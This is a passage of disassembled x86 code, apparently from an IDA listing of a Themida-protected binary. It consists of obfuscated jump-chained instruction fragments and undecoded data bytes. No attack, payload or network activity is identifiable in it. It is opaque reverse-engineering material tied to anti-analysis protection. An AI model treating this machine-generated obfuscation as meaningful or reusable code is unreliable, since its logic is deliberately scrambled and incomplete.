		mov	[esp], ebx
		mov	ebx, 0A028E876h
		add	edi, ebx
		jmp	loc_565D74
; ---------------------------------------------------------------------------
aH_f		db '\h.f',0
		align 2
		dw 1C89h
		dd 835B5424h, 0C8904ECh, 5427B924h, 0EC8354ECh,	241C8904h
		dd 0D36F13BBh, 1EB8368h, 8105EBC1h, 4053D1C3h, 0F7EB8728h
		dd 81EB87D5h, 0E54546C3h, 8BD9214Ah, 0DCE9241Ch, 81000020h
		dd 4C4h, 0EDC78100h, 8176F127h,	0E7C0E8C7h, 4EC8161h, 89000000h
		dd 9DE9243Ch, 66000041h, 822C381h, 0E9C0B70Fh, 7503h, 50E38953h
		dd 0EECCE952h, 0E943FFFFh, 0FFFFD153h, 24048B66h, 509D68h
		dd 24348900h, 9F60E954h, 1C310000h, 241C3324h, 241C895Ch
		dd 8904EC83h, 0B2E92414h, 0FFFFF5h, 48B66C7h, 2C48324h
		dd 0E9F7C780h, 0FFFFDD41h, 0E9DEC480h, 0FFFFD759h, 185B68h
		dd 24348900h, 711D68h, 0E47AE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5655B6:				; CODE XREF: Themida_:00575E23j
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		push	1D87218h
		push	dword ptr [esp]
		pop	ebp
		jmp	loc_569886
; ---------------------------------------------------------------------------
		db 83h,	0C6h, 4
aZ4LS		db '‡4$‹$$éº:',0
		db 0
; ---------------------------------------------------------------------------


loc_5655E7:				; CODE XREF: Themida_:0056D15Ej
		xor	ebx, ecx
		pop	ecx
		and	edx, ebx
		pop	ebx
		sub	edx, 0FB52C488h
		mov	eax, edx
		jmp	loc_566FBC
; ---------------------------------------------------------------------------
		dw 515Eh
		dd 3D29CDB9h, 0BCF18159h, 81158A7Fh, 6DD769C1h,	0C6B5E9CCh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565612:				; CODE XREF: Themida_:0056E3A4j
		mov	[esp], edi
		mov	edi, 40584DC1h
		add	ebx, 3BA50856h
		sub	ebx, edi
		sub	ebx, 3BA50856h
		jmp	loc_56614D
; ---------------------------------------------------------------------------
		db 21h,	0FDh, 8Bh
		dd 0C481243Ch, 4, 0E904EC83h, 0FFFFE07Dh, 35B968h, 243C8900h
		dd 77676856h, 465E1329h, 1355C681h, 0E6C13BC4h,	0D4C68102h
		dd 0E92980FCh, 0FFFFC15Fh, 24148B58h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	small 0
		sub	byte ptr [esp],	0C7h
		jmp	loc_573728
; ---------------------------------------------------------------------------
		db 29h,	0DEh, 0E9h
		dd 0FC69h, 0F2815F5Ah, 77D927A2h, 6431BB53h, 0DA2123DCh
		dd 2EAC15Bh, 6585C281h,	0D0295BE9h, 2E64685Ah, 0C890000h
		dd 6754B924h, 7EE94336h, 8100006Ah, 0FFFFFFEDh,	777E9FFh
		dd 0C1810001h, 0FBDC35A3h, 6859C801h, 1EC1h, 0BF243C89h
		dd 629D38EFh, 0E902E7C1h, 103B8h
; ---------------------------------------------------------------------------


loc_5656E4:				; CODE XREF: Themida_:005708B3j
		xor	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		add	eax, ebp
		pop	ebp
		push	esi
		push	4400h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_570621
; ---------------------------------------------------------------------------
		db 89h
		dd 8A68241Ch, 5B39372Bh, 0B1E1EB81h, 0DE89DC3Dh, 6E6C15Bh
		dd 2D00C681h, 81464090h, 0CE3802F6h, 0FEF6816Eh, 0E95AE5A0h
		dd 0FFFFEB4Ch, 0C800D0B1h, 24148B59h, 4C481h, 59660000h
		dd 201A68h, 241C8900h, 0EF804AB7h, 0F4E8E925h, 0C481FFFFh
		dd 4, 0E904EC83h, 0C799h, 6F2B685Eh, 2C890000h,	0EC835224h
		dd 241C8904h, 970786BBh, 1ECB814Dh, 813C0E2Eh, 6D75B3F3h
		dd 0C3814B09h, 0B2F401E4h, 0BD5BDA89h, 204058DEh, 8169E9h
		dd 24148700h, 399AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5657A1:				; CODE XREF: Themida_:0057483Cj
		add	[esp+4], eax
		jmp	loc_572BE9
; ---------------------------------------------------------------------------
		dw 0E789h
		dd 4C781h, 74680000h, 8900002Eh, 94B82404h, 0E94FE815h
		dd 7D5Bh, 81E68956h, 4C6h, 4C68300h, 31243433h,	34332434h
		dd 0A167E924h, 83590000h, 2C8904ECh, 3A7BBD24h,	0EDC15596h
		dd 66C58102h, 1EA9A71h,	0E9505DE9h, 5B8Fh, 1616F581h, 0D5F72377h
		dd 631FC581h, 0EE0159E9h, 6F9DE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565812:				; CODE XREF: Themida_:00571FD5j
		pop	ebx
		mov	ebx, edi
		jmp	loc_5728BE
; ---------------------------------------------------------------------------
		dw 0EE01h
		dd 0ADA3E9h, 24048B00h,	4EC8351h, 83242489h, 59042404h
		dd 0FFF922E9h, 4C283FFh, 5C241487h, 5842BD55h, 46E92586h
		db 74h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_565847:				; CODE XREF: Themida_:0056B2E3j
		sub	al, cl
		add	al, 97h
		pop	ecx
		pop	cx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_560D96
; ---------------------------------------------------------------------------


loc_56585C:				; CODE XREF: Themida_:00574030j
		pop	edi
		jmp	loc_563ABC
; ---------------------------------------------------------------------------
aI4HR		db '‰4$h',8,'r',0
		align 2
		dw 1C89h
aHpm		db '$hpM',0
		align 2
		dw 83E9h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_565877:				; CODE XREF: Themida_:005624F1j
		mov	ecx, [esp]
		push	1959h
		jmp	loc_571D8B
; ---------------------------------------------------------------------------
		dd 604468h, 242C8900h, 0C581E589h, 4, 5997BE56h, 0E6C11344h
		dd 0FCEE8108h, 0E9445996h, 0FFFFC44Eh, 83243C8Bh, 34FF04C4h
		dd 6971E924h, 535D0000h, 1D7FFDBBh, 50DBF75Fh, 3E67BA52h
		dd 7EE94AB7h, 810000C9h, 0F6441C3h, 95CB8168h, 8177333Ah
		dd 0AD29F3EBh, 2AE7E924h, 0C1810000h, 0DDA58B7h, 0E981D929h
		dd 0DDA58B7h, 59CF295Bh, 0C781DF01h, 24DD18E6h,	4EC815Bh
		dd 89000000h, 4B82404h,	81000000h, 8D5521C7h, 0E9C7012Eh
		dd 0FFFFB9DEh, 0FFADF8E9h, 0C2805BFFh, 32EA8022h, 0BCB7E9h
		dd 240C8700h, 65D5355Ch, 1C8B21B2h, 0AC4FE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56593A:				; CODE XREF: Themida_:00565C4Ej
		pop	ecx
		jmp	loc_561065
; ---------------------------------------------------------------------------
		dd 42474FFh, 2257E9h
		db 0
; ---------------------------------------------------------------------------


loc_565949:				; CODE XREF: Themida_:0056F49Aj
		mov	bh, cl
		jmp	loc_57541C
; ---------------------------------------------------------------------------
		dd 6385C781h, 81593DBEh, 1A16EFEFh, 81D70179h, 1A16EFC7h
		dd 0A3EF8179h, 8B7DCC0Bh, 4E92414h, 810000E8h, 0FA67CCF5h
		dd 0E9585557h, 0A54Eh, 796C581h, 2EE91431h, 81FFFFE6h
		dd 4ECh, 7618E900h, 248B0000h, 4EC8324h, 50240C89h, 6FFFE9h
		dd 4C48100h, 81000000h,	378CC0C3h, 5BDE89BEh, 0FFE56EE9h
		dd 1E181FFh, 5361186Eh,	0E3215FBBh, 0C1D3F70Dh,	0C38108E3h
		dd 0FFFFFFFFh, 5E0BE9h,	65F78100h, 890B3AA2h, 0F87DE9FBh
		dd 66640000h
		db 8Bh,	2
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	4937h
		mov	[esp], ebx
		push	709h
		mov	[esp], ecx
		mov	ecx, 46DC4311h
		jmp	loc_57272E
; ---------------------------------------------------------------------------
		db 9
		dd 0E4E95FFDh, 55000102h, 0F2DCE68h, 0E5C15D14h, 0C4B95106h
		dd 21608077h, 814D59CDh, 0E8FF2EEDh, 8BEB89A4h,	0C483242Ch
		dd 245C3104h, 815A5B04h, 977451F2h, 832D5B5Bh, 1692865h
		dd 83B951D0h, 1692865h,	875A59C8h, 248B2404h, 0BB0F6624h
		dd 0E99C2404h, 0FFFFACB9h, 4A33C9BDh, 0D8BD553Ch, 296EF718h
		dd 5D08246Ch, 0E8EDE956h, 34FFFFFFh, 2434FF24h,	8324048Bh
		dd 0C48104C4h, 4, 815A5452h, 4C2h, 4EC8300h, 0BD242C89h
		dd 57E7545Ch, 7751E9h, 24048F00h, 0FFE23EE9h, 70C181FFh
		dd 13D0F60h, 70E981F9h,	0E93D0F60h, 18D9h, 0DFB85051h
		dd 5353678h, 0EB46C492h, 27E9C189h, 68FFFFC4h, 31E2h, 54241489h
		dd 4C2815Ah, 51000000h,	4B9h, 0FD66E900h, 0BE560000h, 376A6E06h
		dd 2470CE81h, 0D5E9421Eh
		db 0AFh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_565AF7:				; CODE XREF: Themida_:00561958j
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		push	esi
		push	0E9D7DECh
		pop	esi
		mov	ecx, 183C9F74h
		jmp	loc_56AE69
; ---------------------------------------------------------------------------
		dd 0EE8685Bh, 0C890000h, 56595424h, 4BEh, 5EF10100h, 0E904C183h
		dd 41C8h, 15DEB01h, 49EEE9FBh, 0EF810000h, 47E73A59h, 35C9E9h
		dd 4C48100h, 0F7000000h, 4DC8E9D2h, 0F5310000h,	8124348Bh
		dd 4C4h, 0BA525100h, 6933402Ch,	51FC99B9h, 5AD101F9h, 5BB4C981h
		dd 0E98318E3h, 53D1F701h, 966976BBh, 5BD90966h,	6391E981h
		dd 0CEE97605h
		db 0E9h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_565B9B:				; CODE XREF: Themida_:00564EA5j
		pop	edi
		push	ecx
		push	esp
		jmp	loc_57609B
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 9728E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565BAE:				; CODE XREF: Themida_:005651ACj
		push	esi
		jmp	loc_571D33
; ---------------------------------------------------------------------------
		dd 0DDF28159h, 8162C977h, 0D2247EC2h, 2EAC10Eh,	5752EA81h
		dd 23E90943h, 810000BDh, 4ECh, 0BE4BE900h, 0EB01FFFFh
		dd 0EB5BF57h, 0EB81308Ch, 4223689Bh, 0C381FB29h, 4223689Bh
		dd 0FFE8FEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_565BF5:				; CODE XREF: Themida_:00568BA9j
		mov	edi, 25E57CE4h
		add	esi, edi
		pop	edi
		push	edx
		jmp	loc_5712C8
; ---------------------------------------------------------------------------
		db 52h
		dd 0C281E289h, 4, 8704C283h, 0E95C2414h, 0E7F6h, 4C481h
		dd 68560000h, 541Dh, 68241C89h,	1E5B5CFFh, 3124E95Bh, 81590000h
		dd 0FF0781F1h, 977CE91Eh, 0C4830000h, 4C48104h,	0E9000000h
		dd 550Eh
; ---------------------------------------------------------------------------


loc_565C4C:				; CODE XREF: Themida_:0057549Ej
		sub	edi, ecx
		jmp	loc_56593A
; ---------------------------------------------------------------------------
		db 5
		dd 9B915B9h, 2C0835Dh, 0E904EC83h, 9796h
; ---------------------------------------------------------------------------


loc_565C64:				; CODE XREF: Themida_:00561679j
		sub	ebx, eax
		sub	ebx, 393225A8h
		sub	ebx, 4B972961h
		push	1731h
		mov	[esp], ebp
		jmp	loc_572D9C
; ---------------------------------------------------------------------------
		db 0B8h
		dd 1E5E2DF3h, 3929032Dh, 0F7D8F719h, 38CA35D8h,	3BE94AB5h
		dd 81000039h, 0EB0E6CF1h, 0ECF9E918h, 1C89FFFFh, 0BD665524h
		dd 0BB665513h, 2966B931h, 43665DEBh, 5D64E9h
		db 0
; ---------------------------------------------------------------------------


loc_565CB9:				; CODE XREF: Themida_:00573F64j
		mov	ecx, ebx
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_57074A
; ---------------------------------------------------------------------------
		dd 4245C01h, 4D63E9h
		db 0
; ---------------------------------------------------------------------------


loc_565CCD:				; CODE XREF: Themida_:00569C6Fj
		xchg	edi, ebx
		not	edi
		xchg	edi, ebx
		jmp	loc_5736A7
; ---------------------------------------------------------------------------
		dd 1EF4C681h, 2FE907ABh
		db 0C0h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_565CE3:				; CODE XREF: Themida_:0056A2F1j
		pop	ebx
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	ebx
		jmp	loc_56CC98
; ---------------------------------------------------------------------------


loc_565CF6:				; CODE XREF: Themida_:00561261j
		mov	ebx, [esp]
		jmp	loc_5650C7
; ---------------------------------------------------------------------------


loc_565CFE:				; CODE XREF: Themida_:0056D610j
		add	edi, ecx
		jmp	loc_56F3A7
; ---------------------------------------------------------------------------
		db 83h,	0ECh, 4
		dd 55241489h, 2800E9h, 81D5F700h, 25A350F5h, 0E831E9B8h
		dd 0FC200000h, 243FE95Bh, 0EC830000h, 24148904h, 2434FF54h
		dd 4C4835Ah, 0E904EC83h, 0FFFFCFF8h, 4D03D025h,	0ED2B2D4Dh
		dd 0C681F52Ch, 4BF75AA9h, 0EE81C601h, 4BF75AA9h, 8124048Bh
		dd 4C4h, 68CE0100h, 1724h, 0BB241C89h, 72C71BB3h, 0E95B5253h
		dd 8D90h
; ---------------------------------------------------------------------------


loc_565D74:				; CODE XREF: Themida_:005654DFj
		pop	ebx
		and	esi, edi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_5697F4
; ---------------------------------------------------------------------------
		dd 8303E8C1h, 0CB2DFFE8h, 10DB365h, 18E958C2h
		db 0B7h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_565D9B:				; CODE XREF: Themida_:00564C0Fj
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		jmp	loc_56BCAD
; ---------------------------------------------------------------------------
		dd 0E788FA88h, 0E7805866h, 2DEF8024h, 1C8BFA88h, 4C48124h
		dd 86000000h, 86D7F6FAh, 8DE953FAh, 2D0000FCh, 55156672h
		dd 7D89E9h, 46566800h, 34890000h, 0E9E68924h, 0FFFFCBC0h
		dd 0FF5DEF01h, 815A2434h, 4C4h,	5FFB0100h, 7904E9h, 94E95600h
		dd 8B000084h, 0C483241Ch, 24048F04h, 6824248Bh,	3983h
		dd 0D814E9h, 13F38000h,	685BDC30h, 6DA4h, 88241489h, 5AF588E6h
		dd 0FE11E9h, 56D0F700h,	0B31E67BEh, 0E6A0E991h,	0E189FFFFh
		dd 4C181h, 0C1830000h, 0FADFE904h, 8B54FFFFh, 0CE9243Ch
		db 0A3h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_565E53:				; CODE XREF: Themida_:00567685j
		add	edi, eax
		pop	eax
		xchg	edi, [esp]
		pop	esp
		inc	dword ptr [edi+20h]
		sub	dword ptr [edi+20h], 1
		push	ebx
		push	eax
		push	edx
		push	3D04081Ch
		pop	edx
		mov	eax, 68E4A18Dh
		add	eax, edx
		pop	edx
		mov	ebx, eax
		pop	eax
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], eax
		mov	eax, 20h
		jmp	loc_56E64B
; ---------------------------------------------------------------------------
		db 29h,	0D5h, 8Bh
		dd 0C4812414h, 4, 0FFAEE9E9h, 0FFE983FFh, 0A0CF181h, 38E93BB6h
		dd 8900000Fh, 0B635E9E5h, 0EB010000h, 7B0AC381h, 0C3817F66h
		dd 45B50D3Ch, 4BE565Dh,	0E9000000h, 0FE8Ch
; ---------------------------------------------------------------------------


loc_565ED4:				; CODE XREF: Themida_:0056F27Ej
		xor	edx, ebx
		pop	ebx
		add	[esp+4], edx
		pop	edx
		jmp	loc_568C03
; ---------------------------------------------------------------------------
		dd offset dword_49005C+1120Ch
		align 2
		dw 1C89h
		dd 81E38924h, 4C3h, 4C38100h, 87000000h, 815C241Ch, 4C6h
		dd 75026800h, 0C890000h, 26824h, 48E90000h
		db 0B2h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_565F13:				; CODE XREF: Themida_:005661C6j
		push	edx
		jmp	loc_574F59
; ---------------------------------------------------------------------------
		db 68h,	0E8h, 6Bh
		dd 0C890000h, 2173B924h, 71E9327Eh
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_565F2B:				; CODE XREF: Themida_:0057039Fj
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_56958E
; ---------------------------------------------------------------------------
aWsL		db 'Wé|l',0
		db 0
; ---------------------------------------------------------------------------


loc_565F3F:				; CODE XREF: Themida_:005669F5j
		xor	ecx, 31DB3779h
		pop	eax
		push	dword ptr [esp]
		jmp	loc_566C77
; ---------------------------------------------------------------------------
aSSj		db 'Áé',8,'é† ',0
		align 2
		dw 0E95Fh
		dd 12DEh, 8C261F68h, 0E9C15953h, 0F8BF5707h, 81628814h
		dd 0A62AFBF7h, 44F78165h, 920EB6Ah, 41495FF9h, 0EE51E981h
		dd 0CF011E03h, 0E9D70159h, 827Ah, 56595451h, 943179BEh
		dd 92F68102h, 8126604Dh, 591854F6h, 8AE9550Fh, 50000031h
		dd 6CB8E9h, 8EC18000h, 8859C888h, 2434FFC1h, 8124048Bh
		dd 4C4h, 88C3E900h, 0FB680000h,	0E9000031h, 74D1h, 24048B66h
		dd 0E921E952h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_565FDA:				; CODE XREF: Themida_:00564BD8j
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_560715
; ---------------------------------------------------------------------------
		db 89h
		dd 4BA52E6h, 81000000h,	707135EEh, 81D60108h, 707135C6h
		dd 0C8E95A08h, 5100002Ah, 2CB9E9h, 241C8700h, 5424248Bh
		dd 8124048Fh, 42404h, 34FF0000h, 0C4835A24h, 9F8AE904h
		dd 0F7550000h, 455D2414h, 3BF1F581h, 2FE901C6h,	68FFFFC0h
		dd 7C1h, 0FFE5CBE9h, 2C483FFh, 1795E9h,	0E9D1B300h, 0B79Dh
		dd 0DC33E947h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56605A:				; CODE XREF: Themida_:005679D6j
		xor	edx, 2927D82Ch
		xor	esi, edx
		pop	edx
		mov	ebx, esi
		pop	esi
		add	ecx, ebx
		pop	ebx
		push	3749h
		mov	[esp], ebx
		jmp	loc_576008
; ---------------------------------------------------------------------------
		dw 0E689h
		dd 4C681h, 0B8500000h, 4, 34FFC601h, 0EED7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56608E:				; CODE XREF: Themida_:0057125Ej
		push	780F3C77h
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 0FD5DCEB0h
		add	ebx, edi
		pop	edi
		jmp	loc_56930A
; ---------------------------------------------------------------------------


loc_5660A7:				; CODE XREF: Themida_:0056F17Bj
		push	ebx
		jmp	loc_566CEC
; ---------------------------------------------------------------------------


loc_5660AD:				; CODE XREF: Themida_:00573339j
		mov	[esp], edi
		push	esi
		mov	esi, 371F2C86h
		shr	esi, 1
		add	esi, 63F8305Bh
		xor	esi, 6CF2A693h
		jmp	loc_5631B5
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 92h
		dd 5B1B6240h, 4C681h, 0EC830000h, 24348904h, 42474FFh
		dd 5E2434FFh, 81E38953h, 4C3h, 4C38300h, 31241C33h, 0B9E9241Ch
		dd 5700001Bh, 0FB51AC68h, 2340E939h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_566106:				; CODE XREF: Themida_:00561BBBj
		push	esi
		mov	esi, 4
		add	ebx, esi
		pop	esi
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_567F08
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 4
		dd 0E9000000h, 0FFFFEAF9h, 0CF88C188h, 0CFFE5859h, 0EF80CFFEh
		dd 5BF828E1h, 0ECE9C328h, 810000C0h, 4ECh, 24148900h, 0D156E9h
		db 0
; ---------------------------------------------------------------------------


loc_56614D:				; CODE XREF: Themida_:00565628j
		mov	edi, [esp]
		add	esp, 4
		xchg	eax, ebx
		jmp	loc_56AED0
; ---------------------------------------------------------------------------


loc_56615C:				; CODE XREF: Themida_:00567A86j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		pop	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_56B562
; ---------------------------------------------------------------------------
		dw 0D3F7h
		dd 1C381h, 0EB810000h, 0E188C002h, 84A1E9h
		db 0
; ---------------------------------------------------------------------------


loc_566189:				; CODE XREF: Themida_:0056ACDFj
		mov	[esp], ax
		mov	ah, ch
		not	ah
		mov	ch, ah
		mov	ax, [esp]
		add	esp, 2
		jmp	loc_569B7F
; ---------------------------------------------------------------------------


loc_56619F:				; CODE XREF: Themida_:00571895j
		pop	esp
		jmp	loc_563727
; ---------------------------------------------------------------------------
		db 1, 0F5h, 8Bh
		dd 0C4812434h, 4, 6B9AE9h, 3EBC100h, 4A16F381h,	0CAE91D42h
		db 74h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5661C3:				; CODE XREF: Themida_:00562AC8j
		mov	esi, [esp]
		jmp	loc_565F13
; ---------------------------------------------------------------------------
		db 87h
		dd 0A6E92404h
		db 7Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5661D3:				; CODE XREF: Themida_:0056663Bj
		add	eax, 0FCDAD5BCh
		add	esi, 180479E2h
		add	esi, eax
		sub	esi, 180479E2h
		mov	eax, [esp]
		add	esp, 4
		xchg	esi, [esp]
		pop	esp
		push	5E96h
		mov	[esp], ebp
		jmp	loc_56B94A
; ---------------------------------------------------------------------------


loc_566200:				; CODE XREF: Themida_:0056F348j
		pop	ecx
		mov	ecx, 0D3A94744h
		jmp	loc_573769
; ---------------------------------------------------------------------------
		db 66h
		dd 5124048Bh, 29B868h, 54AAE900h, 0C7810000h, 4, 1C4068h
		dd 24348900h, 4BEh, 0B4C78100h,	81603540h, 705DB4C7h, 0E9F7017Ah
		dd 0E892h, 4D8B850h, 3F0D77E4h,	3528CB73h, 1AD30551h, 8158C329h
		dd 0EA1A78EBh, 24148B4Fh, 0E95F5457h, 0FFFFA675h, 9D1C77FFh
		dd 1CD25966h, 0A2E99C24h
		db 0A4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566273:				; CODE XREF: Themida_:0056E4EEj
		push	esi
		mov	esi, 6F436229h
		jmp	loc_56D5AF
; ---------------------------------------------------------------------------
		dw 81h
		dd 3C4A33C9h, 0FFA48CE9h, 6145BAFFh, 0C2815004h, 0CFAFFE7Ch
		dd 0F75AD129h, 0C4BA52D1h, 8144F369h, 5E07AAE2h, 0E6C28157h
		dd 0E9C96308h, 2C5Dh, 0E924248Bh, 0FFFFA45Dh, 548D8F7h
		dd 468A3C1Dh, 0FFC33CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5662C5:				; CODE XREF: Themida_:00569680j
		sub	esp, 4
		mov	[esp], edx
		push	6CB5h
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_56B89E
; ---------------------------------------------------------------------------
		db 89h
		dd 0E389241Ch, 7C30E9h,	0E5923500h, 98681B7Ah, 89000015h
		dd 0F6E9241Ch, 100004Eh, 0B6BD55FAh, 141FE6Bh, 525F5DEAh
		dd 0D7CBE9h
		db 0
; ---------------------------------------------------------------------------


loc_56630D:				; CODE XREF: Themida_:0056BD76j
		xor	ecx, esi
		pop	esi
		mov	eax, ecx
		pop	ecx
		add	ecx, 1D56656Fh
		add	ecx, eax
		push	edx
		mov	edx, 515C55D0h
		not	edx
		sub	edx, 914D44C0h
		sub	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		pop	eax
		xchg	ecx, [esp]
		jmp	loc_56F297
; ---------------------------------------------------------------------------
		dw 0D1F7h
		dd 8904EC83h, 88BB241Ch, 0E90D5D1Fh, 0FFFFF57Fh, 8924248Bh
		dd 0DE882414h, 0FFD9F6E9h, 243487FFh, 85F1815Ch, 680E1415h
		dd 1D08h, 0E9242C89h, 0B235h, 50241C89h, 0C0FEF6B0h, 0E85CE9h
		db 0
; ---------------------------------------------------------------------------


loc_56637D:				; CODE XREF: Themida_:0057609Cj
		add	ecx, 4
		sub	ecx, 4
		push	1CCEh
		jmp	loc_56A6FC
; ---------------------------------------------------------------------------
		dd 5F2434FFh, 0C104C483h, 0EE90AE8h, 0AD000000h, 0EC81D831h
		dd 4, 0E324E9h,	50C83100h, 3EEC68h, 242C8900h, 0D627E9h
		dd 240C8700h, 0FFDCD8E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5663C5:				; CODE XREF: Themida_:00569AF6j
		shr	ecx, 7
		push	85Ch
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5722A8
; ---------------------------------------------------------------------------
		db 0B8h, 3Bh, 1Eh
		dd 44314A50h, 5D580424h, 82BB951h, 0F18120C0h, 6D047B3Dh
		dd 50F7E9h, 241C8700h, 7FA4E9h,	0E8015B00h, 3B1FE9h
		db 0
; ---------------------------------------------------------------------------


loc_56640D:				; CODE XREF: Themida_:005623F8j
		sub	ebx, 18B179A4h
		pop	ebp
		sub	ebx, 222D6A3Bh
		add	ebx, edi
		add	ebx, 222D6A3Bh
		jmp	loc_566968
; ---------------------------------------------------------------------------


loc_566427:				; CODE XREF: Themida_:00573C63j
		pop	esi
		add	eax, 72C326DFh
		add	eax, 305726F6h
		add	edx, eax
		pop	eax
		push	eax
		jmp	loc_5703A4
; ---------------------------------------------------------------------------
		db 0BDh
		dd 4, 835DE801h, 148904ECh, 0BF685124h,	596C8C52h, 0E1D1D9F7h
		dd 0E78AC181h, 0F1E9407Bh, 0FF000007h, 57582434h, 6746E954h
		dd 0EE010000h, 0E9242C8Bh, 0FFFFE867h, 481515Eh, 33152324h
		dd 0B9515B01h, 4D0636AEh, 7ABEE181h, 0F7511012h, 0F7592414h
		dd 0D6E941D1h
		db 0B6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_566497:				; CODE XREF: Themida_:005607BBj
		mov	esi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	23C7h
		mov	[esp], edx
		mov	edx, 140A2C73h
		xor	edx, 140A2C77h
		jmp	loc_56113C
; ---------------------------------------------------------------------------
		db 83h
		dd 0BE5604C4h, 28030FEh, 0E681DEF7h, 477B4AFCh,	2BE4CE81h
		dd 0BDE933BEh, 83000012h, 0BBE904C4h, 81000071h, 4EFh
		dd 0C16BE900h, 335D0000h, 1EE92414h, 81FFFFD9h,	6C28B6EBh
		dd 0BF38108h, 0E9327A05h, 39D1h
; ---------------------------------------------------------------------------


loc_566504:				; CODE XREF: Themida_:00573210j
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_56FF6A
; ---------------------------------------------------------------------------
		dd 5F7342BEh, 0AB67E966h, 41BFFFFFh, 0C1713E6Ch, 0B85002EFh
		dd 72037A94h, 0FFF8FCE9h, 168868FFh, 2C8B0414h,	0FF99E924h
		dd 0E95EFFFFh, 7085h, 37CE685Ch, 24890000h, 3548E924h
		dd 0F5810000h, 3CB81B62h, 558E9h
		db 0
; ---------------------------------------------------------------------------


loc_56655D:				; CODE XREF: Themida_:0056B969j
		mov	[esp], ebx
		push	25F2h
		jmp	loc_563394
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 46C558D1h, 0E905E9C1h, 8AD0h
; ---------------------------------------------------------------------------


loc_566578:				; CODE XREF: Themida_:0056A6C6j
		add	ebx, 2CC054B6h
		add	ebx, 1
		xor	ebx, 427D7358h
		shl	ebx, 1
		xor	ebx, 720022E3h
		xor	ebx, 0D7E800D5h
		add	edi, ebx
		pop	ebx
		jmp	loc_571BD8
; ---------------------------------------------------------------------------


loc_56659D:				; CODE XREF: Themida_:00573E48j
		pop	esp
		add	eax, edi
		pop	edi
		push	esi
		push	40000h
		jmp	loc_56A448
; ---------------------------------------------------------------------------
		dd 582434FFh, 0E904C483h, 0FFFFF9EFh, 0B9E95057h
		db 0B7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5665BF:				; CODE XREF: Themida_:0056DE0Bj
		sub	eax, 3B9FEF4Bh
		push	eax
		sub	dword ptr [esp], 79417847h
		pop	esi
		add	esi, 79417847h
		pop	eax
		xor	[esp+4], esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_56D9D9
; ---------------------------------------------------------------------------
aVhbi		db 'VhI',0
		align 4
		dd 68242489h, 451Dh, 0BF243C89h, 45936713h, 3A76F781h
		dd 0EF815473h, 11E05D61h, 4247C01h, 68CE9h, 1EE8000h, 0E7E9F000h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56661B:				; CODE XREF: Themida_:00574290j
		pop	ebp
		jmp	loc_56EA08
; ---------------------------------------------------------------------------
		db 5Fh,	0F7h, 0D7h
		dd 5153FA87h, 0F20DF7B9h, 59CB89E2h, 0EFA3E9h
		db 0
; ---------------------------------------------------------------------------


loc_566635:				; CODE XREF: Themida_:00571CF2j
		shl	eax, 2
		shr	eax, 6
